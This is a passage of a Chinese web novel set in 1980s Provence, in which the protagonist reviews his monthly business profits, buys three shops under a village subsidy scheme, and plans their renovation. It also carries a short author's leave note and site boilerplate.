也有可能是祖辈生活在卢尔马兰,近些年已离开家乡,却在卢尔马兰有大量资产的贵族后裔什么的。 总之,在卢尔马兰,罗南绝对不是那个最有钱的。 避免夜长梦多,得把合同赶紧签了。 之前最后期限在9月前,罗南未曾去了解过买商铺的价格,因为了解了也买不起,只能先租后买,那么是六月签还是八月签没有什么差别。 不过算完了6月份的账,罗南觉得可以去看看情况了。 罗南有每个月初算账的习惯。 不过6月,他一度打算把这个习惯‘戒掉’。 6月买了森林,还改良了10公顷的森林土壤,花费了将近70万法郎,一片实验林直接把罗南的钱包干空了。 整个后半月罗南过的那叫一个‘艰难’,人均超过100法郎的活动上绝对见不到他的身影,连赌羊都不舍得花钱。 不过正是因为在山羊赛跑上投注了一笔,让他的经济情况在6月底有了好转。 罗南下注的时候,赔率已经比较低了,但因为他对自己和呼呼有信心,买的金额比较大,最终怒赚了6万5000法郎。 几门生意在6月份的表现也让人很意外。 集市生意在6月中旬才起步,在许多村子里,中餐和粉红酒是第一次出现,想产生利润需要不短的发展时间。 不过维埃里很好的控制住了成本,前几天他和罗南算账,6月份的集市生意只赔了一万多法郎,但梅纳村和卢尔马兰的集市生意平稳且红火,把这部分亏损对冲了,算是没赚没赔。 维埃里算账的时候非常沮丧,立誓下个月初和罗南算账时一定是盈利状态。 餐厅方面,收入也比较平稳。 5月份餐厅的利润有30万,但随着甜品大赛的影响,6月份出现了客单价变低的情况,即使这样,最终的利润也保持在了25万以上,这已经相当不错。 按照老规矩,冯珍留下了2万,剩下的23万给罗南存起来,他想用随时可以支取。 松露实验林就没什么好说的了,依然是个赔钱货,这个月改良土地花出去一大笔钱,月底费尔南教授又找罗南申请了12万法郎的预算,这些钱将花在未来两个月卢尔马兰的这片实验林上。 不过好在秋季定植之前,不会再有什么大额的预算出现,给了罗南缓一缓的时间。 斯特斯加酒庄6月份也是入不敷出,买了全新的气囊压榨机,又给酒窖增加的一些设备,但这些钱走的是斯特斯加的公帐,要不然罗南真的要欲哭无泪了。 在旅游业务上,6月份的情况比5月份的情况好了不少,利润有近5万,这些钱都将花费在9月份找村民收购葡萄上。 最后的最后,也就是罗南敢于提前去买商铺的底气,便是被他寄予厚望的编织生意。 这个月的卢尔马兰手工艺合作社可以用‘脱胎换骨’来形容,‘荆棘烈阳’认证完全把这部分业务盘活了,让单价更高的编织家具成为了主力售卖单品。 而且这个月还出现了夏洛特豪掷50万法郎的大订单。 不过6月是卡福的销售团队合并进来的第一个月,也是妇女们成为正式卢尔马兰手工艺合作社员工的第一个月,算起账来特别复杂。 怕自己算的不对,罗南请来了对算账已较为熟悉、斯特斯加的财务兼老板娘佐伊帮忙。 看到最终的数字,小情侣兴奋的抱在一起团团转。 “这个月的利润居然有50万,你敢信吗50万?” “超过餐厅,成为最赚钱的生意了!” “《普罗旺斯艺术指南》6月底才发刊,也就是说,下个月一定会比这个月利润更多” “我就说卢尔马兰手工艺合作的上限还远远没有到来。” “等斯特斯加也运转起来,如果也能有这么好的收益就好了!” 所以经过了财务情况跌宕起伏的一个整个6月,罗南的存款又来到了60多万法郎。 去政府的路上,罗南的腰杆子也挺直了一些。 去年买下商业街一期餐厅的商铺花费了19万法郎。 过去了一年,房价确实涨了不少,几乎翻了倍。 但买不下三个,还买不了两个吗? 两个买不了,就先买一个呗。 总之,他的策略是能买几个买几个。 反正到了下个月,他又能变出许许多多的存款了。 罗南来了卢尔马兰政府,接待他的人自然是布兰科本人,这是雷打不动的规矩。 只是今天的布兰科有点忙,罗南等了好一会才见上。 布兰科一见到罗南就嚷嚷着去他办公室喝粉红酒,跟在他身后的罗南哭笑不得的说: “那些粉红酒开了至少半年,还能喝吗?” 罗南曾当着布兰科和昆西的面展示过一次他的‘神之舌头’,那天无论开多少瓶酒、是什么种类的酒,罗南都能一口说出它的葡萄配方。 那之后,他一过来布兰科就得给他倒两杯酒,说不喝那些试验品就浪费了。 布兰科从抽屉中拿出他珍藏的水晶酒杯,神采奕奕的说: “那些当然不能喝了,这次我们开新的。” 他打开某一扇柜门,里面整整齐齐排列摆放的全部是斯特斯加目前售卖的最高档的那款粉红酒。 希尔维曾告诉过罗南,布兰科严禁政府员工在上班的时候喝酒,除非来了什么‘贵客’,就比如罗南。 罗南一个月都来不了一次政府,那么这么多酒出现在这里,大概率是用来招待人的? 现在的卢尔马兰可是许多政府机关部门和兄弟村庄的考察和学习对象。 布兰科打开其中的一瓶,给罗南和自己斟上,骄傲的说: “作为未来的粉红酒之乡,当然要用最好的粉红酒招待客人。” 杰罗姆经营时期的斯特斯加主打亲民路线,几款餐酒卖的最好,也最具特色,这款所谓的‘高档酒’其实做的比较粗糙,有的时候在聚会上,伊内斯等人都会喝更便宜的。 “等到今年收获季,我会在现有的条件下尽量酿一款好的。”罗南一口干了布兰科给他倒的粉红酒,“真正的高端粉红酒。” 提到酿酒,布兰科关心的问: “听说斯特斯加还没有找到酿酒负责人?” 酒庄中有三个非常重要的职位,那有可能会直接影响酒庄经营的好坏。 斯特斯加的自有葡萄园面积很小,5公顷北坡试验田,佐伊买下的4公顷南坡,还有罗南家门口的那一小片,这种规模暂时不需要种植负责人,但皮埃尔会帮助罗南一起种植梅洛,所以也算有个帮衬的人。 市场负责人由老大哥卢卡斯担任,那应该是卢尔马兰最适合的人选,布兰科对此也不担心。 但最重要的酿酒负责人,似乎始终没有听到什么消息. 罗南给布兰科倒酒: “我会抓点紧,尽快找到人选。” 罗南自己就可以酿酒,但这个职位确实需要一个负责人盯着。 他打算稍后参加红酒拍卖会时留意一下,看看活动期间能不能认识些合适的人选。 聊了一会斯特斯加的情况和未来发展计划,布兰科笑着平坦双手: “好了,说说这次来的目的吧,我可不认为你是想要找我喝酒的。” 罗南把手肘撑到桌子上: “我来看看我的那几间‘商铺’。” 布兰科似乎早有准备,笑着弯腰又从办公桌下的柜门里拿出几沓厚厚的文件: “你是想先听听入口处的第一间三层小楼,还是听听核心区域与活动中心隔街相对的超棒视角临街商铺?又或者我们先聊聊两期里占地面积最大、有四层楼高的地标性建筑呢?先从最后一个聊吧怎么样?我可太期待卢尔马兰手工艺合作社入驻后的样子了——” 入口处的商铺,人流量一定非常大,现在就有许多游客会站在一期商业街的入口拍照。 布兰科对活动中心的预期是能够承接像面包大赛或者戈尔德系列艺术活动的专业大型场馆,那么在它的对面开一个铺子,也可以吸引许多游客的目光。 占地面积最大、有四层楼高的地标建筑就更不用说了.在卢尔马兰,罗南还没见过哪个建筑超过3层。 布兰科果然给他留下的是新一期商业街上最好的三个地方! 不过罗南暂时打断了布兰科的畅想,问起了更加实际的问题: “今年的政策是什么样的?” “人年纪大了,总是很爱唠叨。”布兰科笑着在鼻子前挥了下手,“跟去年一样。” 罗南放松的靠回到椅背上: “时间太久,我忘记之前的政策是什么了,你还是从头给我讲讲吧。” 布兰科放下那些资料,耐心的说道: “和一期一样,新的商业街向店主提供两种合作方式,一种是直接购买,另一种是先租后买,在租赁的期限内可随时激活‘购买权’,其中3年租期的购买价是激活条款当月市价的8.5折、5年租期的购买价是激活条款当月市价的9折、10年租期购买价是激活条款当月市价的9.5折,租期内所交的除管理费、维护费和保险费用外其余款项可抵房款。” 说完,他调皮的对罗南眨了一下眼: “当然了,我会给我们的卢尔马兰大英雄免去管理费,维护费也是成本价,所以你没有可以抵房款的部分。” 罗南渐渐回忆起了去年的细节。 去年夏天,他是先签订了一份租赁合同,在冬季到来之前激活了‘购买权’条款,把商铺买下来的。 “如果直接购买,会打更多的折扣吗?”罗南追问道。 “好问题。”布兰科又帮罗南倒了一杯酒,“有了商业街一期的成功运营经验,我们会鼓励店主直接购买,目前对外的统一口径是可以给到此时市价的8.5折,不过根据店主的情况不同、店铺的类型不同,还有可能会给出额外的优惠。” “比如?”罗南期待的问。 布兰科露出阳光明媚的微笑: “针对于你,可以给到8折的优惠。” 罗南心中快速计算起来,此时的市价约是去年的一倍,每平米占地价在在3500法郎左右: “占地最大的那个商铺,面积有多大?” 布兰卡找出了对应的那份商铺资料,翻了两页: “新的商业街占地普遍比一期大,那间商铺嘛,我看看550平左右。” 罗南差点从椅子上跳起来。 这么大的面积? 那要花费 “打完八折要150万法郎。”罗南强装镇定的说。 此时的他开始在心里打鼓,觉得那60多万法郎不会连一间商铺都买不下来吧? 布兰科笑着回看罗南,用调侃的语气说: “年纪轻轻就记性不好,看来你真的把去年的情况全部忘了,你忘记政府给本地居民推出的‘补贴计划’了吗?” 罗南脑中有一道闪电划过: “有‘赠送’面积!” 他的餐厅只计算了室内的面积,整个后院都是赠送的。 布兰科再一次平坦双手,对罗南露出慈祥的微笑: “虽然类似的话我去年和你说过,但我今年还是要再说一次,政府从未想过通过买卖或者租赁土地回收成本,我们的目标是在未来尽可能多的带动卢尔马兰的经济增长,尤其是带动本村村民的收入。” 罗南赶紧补充道: “记起来了,记起来了,我算本村村民,可以享受那些优惠政策。” 罗南同时回忆起来,在上一次见到希尔维时,她说今年的政策比去年还要好! 布兰科幽默的在胸前画了一个十字: “谢天谢地,我以为要再给你讲一遍‘没人比你更加卢尔马兰’的原因了,这样最好,我们可以直接步入正题。” 布兰科的办公桌似乎是一个百宝箱。 只见他随手一摸,桌子上又出现了一个笔记本。 布兰科将那个笔记本放于厚厚一沓子合同之上,跃跃欲试的说: “那我们来听听今年针对本村居民推出的‘补贴计划’吧?这次来买的几乎都是外地人,我们推出的比去年更加友好的优惠政策根本没有‘用武之地’,终于等到你了啊罗南。” 请假条 发烧+闹分手,状态有点差 请假一天,抱歉了 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第537章 我一定会加油的! 卢尔马兰是一个坐落于吕贝隆山谷腹地的小村庄,本地居民经济条件落后、信息闭塞,思想也不够活络。 如果没有罗南的出现和影响,时至今日,他们对待游客的态度可能还是抵触为多。 虽然不少人吃到了旅游业带来了甜头,但在房价暴涨的今天,经济状况近半年才有所好转的他们几乎不可能去商业街上买或者租一个铺子。 有想发这笔财的人,也只会使用自家的老宅来做点什么。 更何况,这个时代的普通民众根本就没有‘投资’这个概念。 所以这一次购买和租赁卢尔马兰商业街二期和三期的店主,全部是外地吃到过旅游业红利或者有炒房打算的成功商人。 大量外地店主涌入,必然会造成一定程度上的资金外流现象。 为了达到提升本村经济、增加本村居民收入的目的,卢尔马兰政府推出了一套非常有竞争力的‘本地村民补贴计划’。 但遗憾的是,虽然已经拿出了足够的诚意本地村民来咨询的还是很少,更别提来签合同了。 布兰科盼星星盼月亮,终于把罗南盼来了。 政策定下来好一阵子,鲜有使用的机会,搞得布兰科也有点忘记里面的全部内容了,每天要忙的事情太多,不可能事无巨细的全部记住。 他起了一个高高的‘调子’,罗南的兴趣也勾起来了,一脸期待的等待下文,但好几秒过去.布兰科还在翻笔记本。 “稍等啊,稍等一下,我记得就在这前后。”布兰科快速翻动笔记本,“三四个月前的笔记.后面记录的东西太多了。” 罗南再次靠回到椅背上,笑着说: “不急,你慢慢找,我等一下午都可以。” 布兰科觉得有些太不好意思,把笔记本下面的那一沓子文件递给罗南: “你先先看看这些资料吧,是关于商业街二期和三期介绍的。” “好的。”罗南伸手接下来,他也正想了解这些情况。 在没拿到这些资料前,罗南以为这是布兰科提早给他准备出来的合同,没想到他猜错了,那是三份商业街商铺类型的介绍。 二期和三期商业街共有三种不同的商铺户型。 第一种户型是面积最小的,每间铺子的占地面积有180平,地上三层。 卢尔马兰的核心密集区域是以老教堂为中心,呈蜗牛壳状展开,而与一期相连的商业街二期和三期组成了一个小小的新壳,像是蜗牛宝宝一样,紧紧的依靠在‘妈妈’身边。 最小的这种户型分布在新壳最外围一圈,布兰科给罗南安排的入口处的第一间三层小楼就是这个面积的。 “180平米居然是最小面积,比餐厅大40平米呢。”罗南放下了第一份户型介绍,暗自感叹。 商业街一期是卢尔马兰政府自掏腰包兴建的,并没有脱离原先的老城区建筑规划,而且有诸多限制,罗南的中餐厅已经算是其中的大店了。 今年接连拿到旅游局的两笔预算,又确定了扩建计划,新商业街的总占地面积非常‘阔绰’。 但这份‘阔绰’让罗南非常没有安全感。 最小的都有180平米,下一个户型肯定更大。 面积大代表价钱高啊. 罗南拿起第二份文件,第一眼先去找面积大小。 第二种户型的面积直接从180平涨到了260平,这种户型的三层商铺只有12栋,它们在蜗牛壳的里面一层,像是‘茧’一样保护着中心最核心的几个建筑。 布兰科口中那个‘与活动中心隔街相对的超棒视角临街商铺’就是这个户型的。 罗南不自觉的撇了下嘴。 如果没有赠送面积,这已经是他买不起的户型了。 房价打折,但是税费不打折他记得去年买商铺交了总房价15%的税费。 那么想要拿下这间260平米的商铺要花费80多万法郎了。 “怎么都建的这么大面积啊。”罗南实在忍不住吐槽了一句。 他理解卢尔马兰想要扩建的决心,在吕贝隆,哪个村子扩建的面积大哪个就厉害。 但政府怎么没考虑一下.大家的钱包是不是撑得住呢? 第三份户型介绍自然是550平米的四层‘地标性建筑’,这个户型只有一栋。 它和卢尔马兰活动中心、可以容纳全村人一起开大会的新广场一起坐落在‘蜗牛宝宝’的最中心。 虽然眼睛看的是这份资料,但罗南的脑子却飞去其他地方了。 卢尔马兰手工艺合作社需要这个大商铺。 将来那里既是家具和饰品的旗舰店,又要承接米切兰杂志社的拍摄需求,还要举办大型的vip活动所以面积越大越好。 但餐厅和甜品烘培房用两个180平米的商铺足够了没必要多花那份钱。 而且商铺面积大,装修的成本就高。 如果想要快些将它们都开起来,这几个月最好留出充足的现金流。 “看到了吧?”布兰科指着罗南面前的那份资料,突然说道,“550平米的商铺只有这一个,我给你留下了!许多人都看上这个建筑,我让希尔维回复他们,在建它之前我们就想好了它的主人是谁,无论出多少钱都不会改主意的。” “谢谢。”罗南感激的说。 他的感激是真心实意的。 布兰科对他绝对没话说,问题在他自己身上,是他不够有钱! “找到补贴政策了。”布兰科拍了拍他的笔记本,继续问罗南,“这三户型资料你都看完了吗?这次我们一共推出了三种户型。” 罗南把户型资料整齐的码好,点头道: “看完了。” “对我的安排还满意吗?”布兰科开朗的问。 布兰科实在太开朗了,开朗到罗南有些不好意思说‘不开朗’的话,他想等布兰科说完这次的政策,再找个借口提有没有可能把那个260平米的商铺换成一个180平米的话题。 “满意,满意,政府对我这么好,最好的都留给我,我当然满意了。”罗南半真半假的说。 布兰科突然干笑起来,把罗南笑得浑身发毛.心想是我的表情出卖了我的内心想法吗? 不应该啊,他‘演技’一向很好的。 “满意就怪了!”布兰科‘嗔怪’的说,“罗南啊罗南,我以为你我已是密不可分的战友了,没想到你居然跟我还‘假客气’,你帮忙拉动卢尔马兰的经济建设,还帮卢尔马兰居民解决了不计其数的就业问题,最后我硬塞给你三个商铺,逼着你必须接手,还要花那么多钱.你真心能满意?换作是我,反正我满意不了。” 罗南赶紧改口: “这不是等你说政策呢吗?不想打断你啊,等你讲完,我再提意见。” 布兰科喝了一口粉红酒: “你有什么意见,现在先提吧。” 罗南用开玩笑的语气说: “这次商铺的面积都太大了,万一有人像我一样,用不了那么大面积呢?如果建些小面积的户型,说不定本村居民参与的热情更高呢,省的你在这抱怨这么好的补贴计划没有用武之地啊。” 布兰科冷笑了一声,反问罗南: “觉得我给你的铺子面积太大了?” 罗南猛猛点头: “对对,我用不了那么大面积,给我两个180平米的足够了,当然了,那个550平米的我肯定要啊。” 布兰科清了清嗓子,看着笔记本上的内容露出‘狡黠’的笑容: “补贴第一条,本地居民购买商铺可享受计算面积180平封顶的政策,啧啧啧,太遗憾了,既然你不需要,我一会让希尔维协调下,看能不能给你换成两个180平米的。” 不等布兰科说完,罗南就开始手舞足蹈了: “不是不是,你等会,可以用180平米的价格买260平米的商铺吗?” “但你用不了那么大的面积啊,好了别打断我。”布兰科憋着笑说,“第二条政策——” “用的着!用的着!”罗南赶紧站起来给布兰科倒酒,“你误会了,我刚刚的意思是” 两分钟后,罗南口干舌燥的喝了一口粉红酒: “你现在理解了吧,其实是这个意思,怪我没给你解释清楚.你看闹误会了吧?” 布兰科非常配合的跟着演戏: “哦,现在理解了。” 罗南兴奋的追问: “那我理解的也没有问题吧?就是我可以用180平米商铺的价格,买下260平米的铺子?” 布兰科眉眼带笑的回: “不止,你还可以用180平米的价格买下那个550平米的。” 罗南给布兰科竖起一个大拇指: “这次的本村居民补贴政策太牛了!” 伟大,无须多言! 这就是卢尔马兰政府!! 布兰科低头摸了摸笔记本上的字迹,有些失落的说: “但即使我们做到了如此,本地居民依然没有太大的热情,这说明政府还有许许多多的工作需要做、很长很长的路要走。” 几个月前,这个版本补贴政策出台确定时,卢尔马兰政府从上到下都乐观极了,认为一定可以吸引来许多本村人。 但当大家听到购买价和租金后全部没有了下文。 希尔维去问进度,回复的理由全是——太贵了,买/租不起。 这更加印证,振兴卢尔马兰经济的步伐不能停下! “慢慢来,才刚开始呢。”罗南语气温和的安慰。 布兰科振作起来,像是一个终于有机会炫耀心爱玩具的孩子一样,继续说道: “这只是第一项补贴内容,后面还有好几条.我们想了好久好久,今天终于有机会讲出来了,第二项补贴——” 布兰科又一连说了三四个政策,每一项都很实用,也很诚意满满。 有像去年一样,会给店主提供一份1万法郎的装修补贴基金。 还有今年新推出的,前几个月的水电费补贴等等。 可以看出,政府为此真的下了大功夫。 为了不浪费卢尔马兰政府的诚意,听完政策,罗南要求今天直接把三份合同全签了。 按照180平米计算,每间商铺的成交价在50万法郎左右,算上税费不到60万。 虽然没有达成来之前制定的‘保二争一’目标,但落到手的可是一个180平米,一个260平米和一个550平米的大商铺啊。 简直赚翻了有没有啊?! “我先买一间商铺,其余的两间签租赁合同,过几个月再来买它们。”罗南对布兰科说,“你来拟合同,还是我去叫希尔维?” 布兰科把最后一点酒倒到罗南的杯子里: “等你方便了再买一个就行,不用买三间。” 罗南笑着说: “我这个人不喜欢租,还是想要买下来,你应该知道的。” 这次轮到布兰科靠到身后的椅背上了: “第三个铺子是我强塞给你的,你根本就没有这个打算,有了这件事才开始筹谋.所以你签一个十年的长租合同吧,如果能够持续经营10年,10年后那个铺子就归你,我和希尔维说过这件事,租金不变,她知道怎么拟合同。” 罗南简直不敢相信自己的耳朵。 布兰科给他的租金是成本价,每个月只有3000多,那么十年的租金只需要40多万法郎。 但十年后的3000法郎肯定不是1987年的3000法郎。 十年之后这个铺子都涨到几十万甚至上百万欧元了! 这简直是送钱啊. “我——”罗南刚一开口就被布兰科强硬的打断了。 布兰科罕见的绷起了脸: “不要说感谢的话,你就是太久没来政府找我了,不说真实的感受,还一直说谢谢,我告诉你啊罗南,以后你每个月必须来找我来喝一次酒,这是硬性指标,听到没有!” 罗南把一肚子的话咽了下去,不知道如何是好的他只能不停微笑了: “下次来我带酒。” “怎么,这款酒不好喝吗?” “这并不是斯特斯加最好喝的。” “我就说我们最近太缺乏沟通了,这么重要的事情为什么你现在才告诉我?” “以后我每周都来找你喝酒。” “你最好说到做到!” “嗯布兰科,我会加油的,我的意思是,我会好好经营我所有的生意,让卢尔马兰越来越好。” “你不要像我这个老头子一样絮絮叨叨的好不好?再开一瓶酒吗?我接下来没有什么要忙的——” 罗南确实好几个月没有和布兰科好好坐下聊天了。 他今天没有去森林找教授和他的学生们,一直待到布兰科下班。 晚上,罗南邀请布兰科、布兰科的太太和政府里的希尔维等人和他们的家属到餐厅吃饭。 闲聊间,罗南问起了那个隐形富豪的话题。 “布兰科,你听过一个叫亚米·波切特的人吗,我去马赛买森林的时候看到卖家的名字是这个,在这之前卢尔马兰一大半的森林都是这个家伙的,这太吓人了。” 布兰科摇头,他每天忙的都是大事情,不会聚焦在某些人的名字上: “没有什么印象,如果像你猜测的那样,这个人有可能之前在卢尔马兰生活过,有机会你可以问问卡尔,说不定他能给到你一些信息。” 突然,闷头吃饭的希尔维抬起了脑袋: “亚米·波切特吗?这个人在卢尔马兰有一个19世纪的庄园,那庄园大到进去会迷路。” 罗南表情复杂的问: “在靠近古德村的那个方向吗?” 希尔维眨巴了几下眼睛: “没错,你怎么知道的?” 罗南笑着摇了摇头: “有一次路过看到了,和你描述的很像。” 世界可真小啊。 那个庄园现在是夏洛特的了。 第538章 嗯?你们都不需要我了?? 正式签了合同,下一步要考虑的就是装修。 罗南搬来普罗旺斯一年半,装修这件事几乎陪伴了他全程。 装房子、装院子、装工作室、装餐厅、装婚房不是在装修,就是在装修的路上,似乎就没有停下来的时候。 他自己都记不清,这是第几次张罗装修这些事了。 不过还好他在巴黎是个‘设计师’,不头疼干这件事,甚至还挺享受的。 但这次要装的店铺有三个,在决定每一个商铺装成什么样子之前,要先把三个商铺分别做什么分明白了。 面积最大的那个自然留给卢尔马兰手工艺合作社,这个名称里带‘卢尔马兰’的手工坊,要成为卢尔马兰的地标建筑了。 新商业街入口处第一间面积180平的商铺,给莉亚开甜品烘培店。 这个位置开咖啡厅或者甜品店最合适不过,给游客们提供一个可以歇歇脚的场所。 与文化中心隔街相对的那个260平商铺开餐厅。 无论卢尔马兰未来要举办哪种类型的活动,一定都和罗南脱不开关系,至少短时间内是这样的。 把餐厅开在活动中心的对面,方便罗南未来招待各地的朋友。 同时装修三间店铺工程量巨大,罗南已经做好了心里建设,接下来几个月一定要忙成‘三头六臂’了。 但怎么也想不到,这次装修会如此的省心.他把形势想复杂了。 早上吃早饭的时候。 “商业街上的新餐厅装什么风格?肯定要延续‘中式’风格啊,我们是开分店,又不是开新店,尤其就距离几百米,两边最好统一风格,你不用再花心思设计了。”罗天海突然想到了什么,反问罗南,“但是不是没办法用编织椅了?” 一期餐厅的室内部分采用了大量编织元素。 编织配饰和编织工艺品还好说.但编织椅估计很难用到了。 罗南最近每天去帮妇女们赶工给别人做椅子、做家具大概率没有时间给自己的餐厅做了。 罗南放下勺子,认真想了一下: “如果只要藤编样式,可以在普通椅子外面绑一层藤蔓,相对没有那么复杂,挺容易的,等婚礼办完看看卢尔马兰手工艺合作那边的订单情况,我应该可以自己做。” 同样的时间,罗南给别人做椅子能赚好几万.儿子又出钱又出力,让罗天海心疼了,他心里不是个滋味,坚决的说: “这次装修你就负责解决椅子问题,能做就做,不能做找一款视觉看起来和其他装饰统一的就行,咱们墙上和地面上肯定还有其他编织元素,不差这些椅子,其他的你就不用管了,上次装修我跟着你盯了全程,我都记着,知道怎么做,我来管这摊子事儿,你去帮别的。” 餐厅这里挺省心。 去年夏天才装完,罗天海‘照猫画虎’难度并不大,罗南把钱准备好就行了。 但让人意外的是,卢尔马兰手工艺合作社这也挺让人省心的。 吃完早饭,罗南去编织大院‘上工’,和巴蒂闲聊起了装修的事情。 “装修的事情我早就开始考虑了!”巴蒂这家伙像是提前打好了草稿一样,对答如流,“我们是卖家具和饰品的,装修越简单越好,不能让装潢样式抢了家具和装饰物的风头,就是分区和陈设样式得下下功夫琢磨。” “你有什么想法?”罗南一边干活,一边有一搭没一搭的问。 巴蒂双手托腮,看着天空自言自语: “家具陈列区、独立的体验课区、可以举办活动的大型开阔场地、接待vip的私密空间、还有采访影棚——” 他脸上突然露出憧憬的笑容: “你说我们布置几个影棚?没有杂志社使用时,那里也可以作为‘样板间’展示,四个你觉得怎么样?我脑海里已经有四个场景了,这些地方每过几个月就换一次搭配,让她们永远有新鲜感,几个月不来就想的那种。” “她们?”罗南吓的一激灵。 法语分阴阳性,讲装修和家具呢,怎么出来‘她们’了? 巴蒂看向罗南,似乎在诉说苦衷: “谁能满足只和漂亮女孩有一面之缘呢?你不知道,她们离开的时候我有多难过,现在好了,我可以用频繁更换的布景和装饰来邀请她们回来参观,所以装修这事你就交给我吧,之后换布置也是我来负责!” 餐厅有前车之鉴可以参考。 卢尔马兰手工艺合作社有‘另有所图’、美商不错的艺术家巴蒂做参谋,而且这里装修时更加注重搭配,白墙和最简单的地面就挺好的。 罗南只需要准备好钱,再和F4坐下一起想想如何把四层好好利用起来即可。 这样一来,他打算把精力更多的放在甜品烘培店。 甜品烘培店既没有可以参考的商铺,又没有什么艺术家坐镇,只能靠罗南了。 没成想,当罗南去找莉亚聊装修思路时,莉亚说要装成什么样子她心里也有想法了。 “你有想法了?你怎么想的?”罗南惊讶的问。 真是三十年河东三十年河西。 去年一口一口‘罗南大设计师’的叫着,今年没有一个人指望他啊。 都另寻出路了? 你们这样我很没有存在感啊喂! 莉亚刚刚结束两天的阿维尼翁培训课,中午才回来,不过一回卢尔马兰,她就钻进了餐厅后厨。 她一边工作一边言简意赅的给罗南解释: “上周佐伊带了个朋友去家里,她包里有许多漂亮的照片,里面有餐厅、咖啡店和许多厨房,我看上了其中一张照片,哎呀那可太好看了,我问了,好像不怎么贵。” 罗南的语气更惊讶了: “佐伊上周见了一个设计师朋友?” 这个年代电脑还没普及,更没有笔记本电脑。 罗南在巴黎当室内设计师时,就是包里揣着一大沓子样板间照片,每天去见客户。 听到莉亚的描述,他马上意识到——这人是同行。 而且莉亚说的事,应该和佐伊姐妹团们‘消失’的那个下午对应上了。 但她们去见设计师干什么呢? “设计师吗?”莉亚也挺意外的,“佐伊没说她是设计师,就说是朋友,来卢尔马兰玩玩。” 罗南摸着下巴琢磨。 他猜错了? 还是佐伊连莉亚都要瞒着? 莉亚描述了照片上的特征,罗南一听就懂了,而且很快有了画面。 那是这两年大城市甜品店最流行的风格。 确实很适合应用到甜品烘培店上,但有一项工艺他不确定卡福的团队是不是能做。 实话讲,这位设计师太‘洋气’了,一看就是大城市来的,但卡福他们是普罗旺斯本土团队,比较朴实。 卡福这几天白天都会出现在卢尔马兰,他说要连续一周盯着这群小兔崽子。 去餐厅找完莉亚,罗南又马不停蹄回到编织大院,和卡福沟通甜品烘培店的装修细节。 但卡福根本就没来及听完罗南说的全部,罗南刚说了半句话,他就连连摇头了: “装我家和卢尔马兰手工艺合作社已经是极限,真接不下另外两个商铺了,你没发现吗,你家的游泳池比预期晚了一个月才完工,后面我都找朋友的伙计来帮忙了。” 他指着身后几个销售,压低声音对罗南说: “现在就更不可能了,没有一个人想离开卢尔马兰手工艺合作社,我这几天一直在找人呢。” “啊?你接不了吗?”罗南一个头两个大。 来普罗旺斯后,他所有的装修都是卡福来做的。 罗南对他、对他的团队放心。 突然说要换团队.他去哪儿找人啊? 众所周知,普罗旺斯的工匠非常难找,卡福是卢卡斯介绍才认识的。 卡福点了一根烟,也皱着眉头说: “我努力看能不能借到人吧,但这么大的工程量很难,你也再问问别人。” 罗南本以为这次装修可以当甩手掌柜,没成想第一步就卡住了。 当天下午,他又没有去教授的森林,而是四处打听工匠团队的事情,把能问的人都问了,让大伙帮忙找找靠谱的人。 但今天的主题绝对是‘意外’。 罗南打死也想不到,帮他度过难关的人居然是佐伊。 普罗旺斯人会找一切理由吃吃喝喝。 今天的聚会主题是——庆祝罗南签下了商业街上的三间商铺。 餐桌上,罗南自然要问问路易、弗雷迪、阿兰和老卡尔的两个儿子认不认识靠谱的工匠团队。 “我刚刚给艾克斯的设计师朋友打了电话,她说可以承接我们的两个铺子,所以你不用担心了。”佐伊安慰罗南。 罗南忍不住问道: “新认识的朋友?” 去年两个人刚相识的时候,佐伊曾经说过,罗南是她在现实中遇到的第一个室内装修设计师,这职业在普罗旺斯太小众了。 佐伊不动声色的点头: “是,最近认识的。” 她压低声音,用只有罗南能听到的声音说: “我给她发了婚礼请柬,婚礼上我介绍你们认识。” 罗南乖巧点头: “好的。” 晚上,路易家。 佐伊穿着睡衣,一手拿着座机,一手拿着话筒,焦虑的围着沙发转圈: “上帝啊歌迪亚,罗南会不会已经发现了?我提到索莱娜的时候,他一直在看我,我发誓,如果我们对上了眼神,他一定会问我更多索莱娜的细节,我怕穿帮一直不敢看他,但现在想想,这样做太蠢了,这会让他的疑虑加重。” 一公里外的歌迪亚坐在卧室的床上,用耳朵夹住话筒,给自己涂指甲油: “放轻松亲爱的,发现又能怎样?你又没有做对不起他的事情,只是在秘密的给他装修工作室里的厨房而已啊,不要紧张。” “可我想要给他惊喜,我不想让他提前察觉。”佐伊捂住脑门。 歌迪亚很不走心的支招: “那你明天对他热情点,如果他继续这个话题,你就自然的回答他,回答我们之前‘串’好的口供,需要我帮你复习一下吗?” “不用了谢谢。”佐伊坐回到沙发上,“原来送惊喜的一方心里压力这么大。” “你现在闭上眼睛,想想罗南看到你花‘重金’配置好的厨房.是不是一切都值得?”歌迪亚将手指放到面前,满意的端详,“好了别想这些了,想这些还不如想想婚礼上涂什么颜色的指甲油,没几天了,我美丽的新娘。” 佐伊深呼吸了一口: “明天见面聊吧,我还想和你们商量下伴娘裙的头饰搭配。” “没问题亲爱的!”歌迪亚开心的答应下来。 同一时间。 罗南在家里也拿着电话听筒。 但和他通电话的不是什么伴郎,也不是什么有心事要诉说的好朋友,而是略伦特。 打电话的人他没想到,电话的内容也没有想到这位先生居然是来和罗南‘叙旧’的。 如果没有记错,之前这种刷存在感、没有任何正事、只是不希望对方忘记自己、尴尬找话题的电话都是罗南打给略伦特的。 现在身份对调了。 “现在世道不好,我们这些朋友必须紧密的联系起来。”略伦特语气激昂的说,“过一阵子,我邀请你参加沃克吕兹省美食联盟的聚会。” 电话打了十几分钟,罗南大概猜到略伦特打来这个电话的原因了。 EEC推出的新政针对畜牧业,朱莉特说这不会影响阿尔诺家族。 但即使不影响,也得被恶心得几天睡不着觉。 略伦特这个女婿当的不容易,说不定发生了什么事情,让他把重心放到家族之外了,比如沃克吕兹省美食联盟伟业。 “等下个月吧。”罗南笑着回,“等我忙完婚礼的。” “对对对,20号!”略伦特哈哈大笑的说,“我还有恭喜你呢罗南,在普罗旺斯结婚是一生中最重要的事情,恭喜你勇敢的迈入人生新阶段。” 你都娶了大20多岁的妻子了,谁能有你勇敢啊罗南在心里吐槽。 精通人情事故的略伦特先生说了10分钟不带重样的恭喜才停下来: “总之,不要忘记你在普罗旺斯有我这一号朋友啊罗南,我们可以合作的事情有很多很多,以后要多多沟通。” 罗南笑着回复: 